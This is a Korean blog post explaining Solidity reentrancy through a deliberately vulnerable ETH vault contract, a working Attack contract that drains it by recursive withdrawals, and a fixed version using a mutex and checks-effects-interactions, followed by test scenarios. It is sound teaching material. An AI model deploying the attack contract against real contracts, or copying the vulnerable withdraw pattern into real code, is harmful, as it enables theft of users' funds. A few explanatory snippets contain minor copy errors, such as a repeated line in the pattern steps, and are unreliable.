Reentrancy Attack(재진입 공격)


https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555

번역 및 내용을 추가하여 작성하였습니다.

다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.

  • Solidity
  • Typescript
  • Truffle ,Hardhat, Ethers.js, Web3.js
  • Test Script 작성 능력

Reentrancy Attack는 공격자가 재귀적으로 인출을 수행하여 Contract에 있는 모든 ETH를 훔치는 공격입니다.
유명한 예시로는 2016년 360만 이더리움을 도난당한 DAO 해킹 사건입니다. 이 사건으로 인해 이더리움 클래식이 하드포크되어 탄생되었습니다.

The Vulnerability

InsecureEtherVault.sol

아래는 ETH를 입금하고, 모든 Ether를 출금하고, 잔액을 확인할 수 있는 간단한 보관소인 InsecureEtherVault Contract입니다.

이 컨트랙트는 재진입 공격에 취약합니다.

pragma solidity 0.8.13;

contract InsecureEtherVault {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawAll() external {
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");

        userBalances[msg.sender] = 0;
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

InsecureEtherVault Contract의 경우, 재진입은 14번째 라인의 withdrawAll() 함수에서 시작합니다.

4단계 - **msg.sender.call**함수가 실행되는 즉시 balance변수로 표시된 ETH가 사용자 지갑 또는 외부 Contract로 전송됩니다.

5단계 - 공격자의 공격 Contract가 수신자인 경우, 해당 Contract는 재귀적으로 withdrawAll 함수를 호출하여 재진입을 수행하여 InsecureEtherVault Contract에 있는 모든 Ether를 빼낼 수 있습니다.

The Attack

Attack.sol

Attack Contract는 InsecureEtherVault Contract를 공격하는데 사용될 수 있습니다.


pragma solidity 0.8.13;

interface IEtherVault {
    function deposit() external payable;
    function withdrawAll() external;
}

contract Attack {
    IEtherVault public immutable etherVault;

    constructor(IEtherVault _etherVault) {
        etherVault = _etherVault;
    }
    
    receive() external payable {
        if (address(etherVault).balance >= 1 ether) {
            etherVault.withdrawAll();
        }
    }

    function attack() external payable {
        require(msg.value == 1 ether, "Require 1 Ether to attack");
        etherVault.deposit{value: 1 ether}();
        etherVault.withdrawAll();
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

InsecureEtherVault Contract를 공격하기 위해 공격자는 Attack.attack() 함수를 호출하고 1 Ether를 공급합니다.

공격자는 InsecureEtherVault Contract에 있는 5 ETH를 모두 훔치기 위해 1 ETH를 입금하고, 초기 이더리움을 인출한 후 5번의 재입금을 수행합니다.


추가 설명

  1. 공격자가 1 ETH를 가지고 Attack.sol의 attack() 함수를 호출한다.
  2. attack() 함수는 InsecureEtherVault.sol의 deposit() 함수를 호출하여 1 ETH를 입금한다.
  3. attack() 함수가 InsecureEtherVault.sol의 withdrawAll() 함수를 호출한다.
    1. InsecureEtherVault.sol의 withdrawAll() 함수는 자신을 호출한 Attack.sol의 잔고를 확인하여 1 ETH가 있는 것을 확인한다.
    2. InsecureEtherVault.sol의 withdrawAll() 함수는 자신을 호출한 Attack.sol에게 1 ETH를 전송한다.
    3. 전송 시 Attack.sol에 있는 receive() 함수가 호출된다.
    4. Attack.sol의 receive() 함수는 InsecureEtherVault.sol에 잔고가 있는지 확인 후 있으면 다시 InsecureEtherVault.sol의 withdrawAll() 함수를 호출한다.
    5. InsecureEtherVault.sol에 있는 금액이 모두 사라지면 Attack.sol의 receive() 함수는 종료된다.
  4. 공격자는 attack.sol에 있는 잔고를 모두 출금한다.

이러한 공격이 가능한 이유는 InsecureEtherVault.sol 컨트랙트의 상태가 업데이트 되기전에 다시 함수를 호출하기 때문입니다.

  1. call 함수는 호출한 컨트랙트(Attack.sol)의 receive() 함수를 호출합니다.

    [InsecureEtherVault.sol]
    ...
    	(bool success, ) = msg.sender.call{value: balance}("");
    ...
  2. 상태가 변경되기 전에 반복하여 호출합니다.

    • 마지막에 0으로 변경하기 때문에 require(balance > 0, "Insufficient balance"); 계속 통과합니다.

      [InsecureEtherVault.sol]
      ...
      function withdrawAll() external {
      	userBalances[msg.sender] = 0;
      }
      

solidity-coverage.js를 통해 실제 호출된 횟수 확인

  • 피해자가 100 ETH를 입금해둔 상태라 1ETH씩 100번 출금한 상태

The Solutions


pragma solidity 0.8.13;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

contract FixedEtherVault is ReentrancyGuard {
    mapping (address => uint256) private userBalances;

    function deposit() external payable {
        userBalances[msg.sender] += msg.value;
    }

    function withdrawAll() external noReentrant {  // FIX: Apply mutex lock
        uint256 balance = getUserBalance(msg.sender);
        require(balance > 0, "Insufficient balance");  // Check

        // FIX: Apply checks-effects-interactions pattern
        userBalances[msg.sender] = 0;  // Effect

        (bool success, ) = msg.sender.call{value: balance}("");  // Interaction
        require(success, "Failed to send Ether");
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) public view returns (uint256) {
        return userBalances[_user];
    }
}

두가지 솔루션이 있습니다.

  1. checks-effects-interactions pattern
  2. mutex lock

Checks-Effects-Interactions 패턴

외부 계약과 상호작용하기 전에 모든 상태 변경이 먼저 이루어진다.

  1. Checks: 모든 조건을 먼저 확인한다.

    require(balance > 0, "Insufficient balance");  // Check
  2. Effects: 상태를 변경한다.

    userBalances[msg.sender] = 0;  // Effect
  3. Interactions: 외부 계약과 상호 작용한다.

    userBalances[msg.sender] = 0;  // Effect

Mutex Lock (noReentrant)

mutex” 또는 “mutual exclusion”을 사용하여 재진입을 방지한다. 즉, 한 번에 하나의 트랜잭션만 함수를 실행할 수 있게 한다.

여러 프로세스나 스레드가 동시에 특정 자원에 접근하지 못하게 제한하는 메커니즘을 말한다.

  • **locked** 라는 상태 변수를 사용하여 함수가 이미 실행 중인지 확인한다.
  • **withdrawAll()** 함수에 이 Modifier를 적용하면, 이 함수는 한 번에 하나의 트랜잭션만 처리할 수 있으므로 재진입 공격을 방지할 수 있다.
abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

Test


Source code link

InsecureEtherVault Contract

테스트 시나리오

  • 입금
    • 사용자가 ETH를 입금 받을 수 있어야한다.
    • 사용자가 ETH를 입금하면 컨트랙트의 총 잔액이 업데이트된다.
  • 출금
    • 사용자가 자신이 입금한 ETH를 모두 출금할 수 있다.
    • 사용자가 모든 ETH를 출금하면 컨트랙트에 들어있는 총 잔액이 0이 된다.
    • 컨트랙트에 입금되어 있는 잔고가 없으면 출금할 수 없다.
    • 호출한 주소에서 ETh를 수신하는데 실패하면 revert된다.

Attack Contract

테스트 시나리오

  • Constructor
    • InsecureEtherVault Contract를 등록할 수 있다.
  • 출금
    • 출금 시 owner로 등록되어 있지 않으면 출금할 수 없다.
  • 공격
    • 공격자가 1 ETH를 공급하지 못하면 revert된다.
    • 공격자는 InsecureEtherVault Contract에 있는 모든 ETH를 가져올 수 있다.
  • 보안이 적용되었을 때 공격
    • 공격자가 InsecureEtherVault Contract에 있는 모든 ETH를 가져오려고 공격을 시도하면 FixedEtherVault Contract의 mutex에 막힌다.

FixedEtherVault Contract

테스트 시나리오

  • 입금
    • 입금할 수 있다.
  • 출금
    • 모든 잔액을 출금할 수 있다.
    • 사용자가 자금이 부족한 상태에서 출금을 시도하면 실패한다.
    • 호출한 주소에서 ETH를 수신하는데 실패하면 Revert된다.
  • 잔고 확인
    • 특정 Address의 잔고를 확인할 수 있다.

Test Code Coverage


profile
좋은 개발자가 되고싶은

0개의 댓글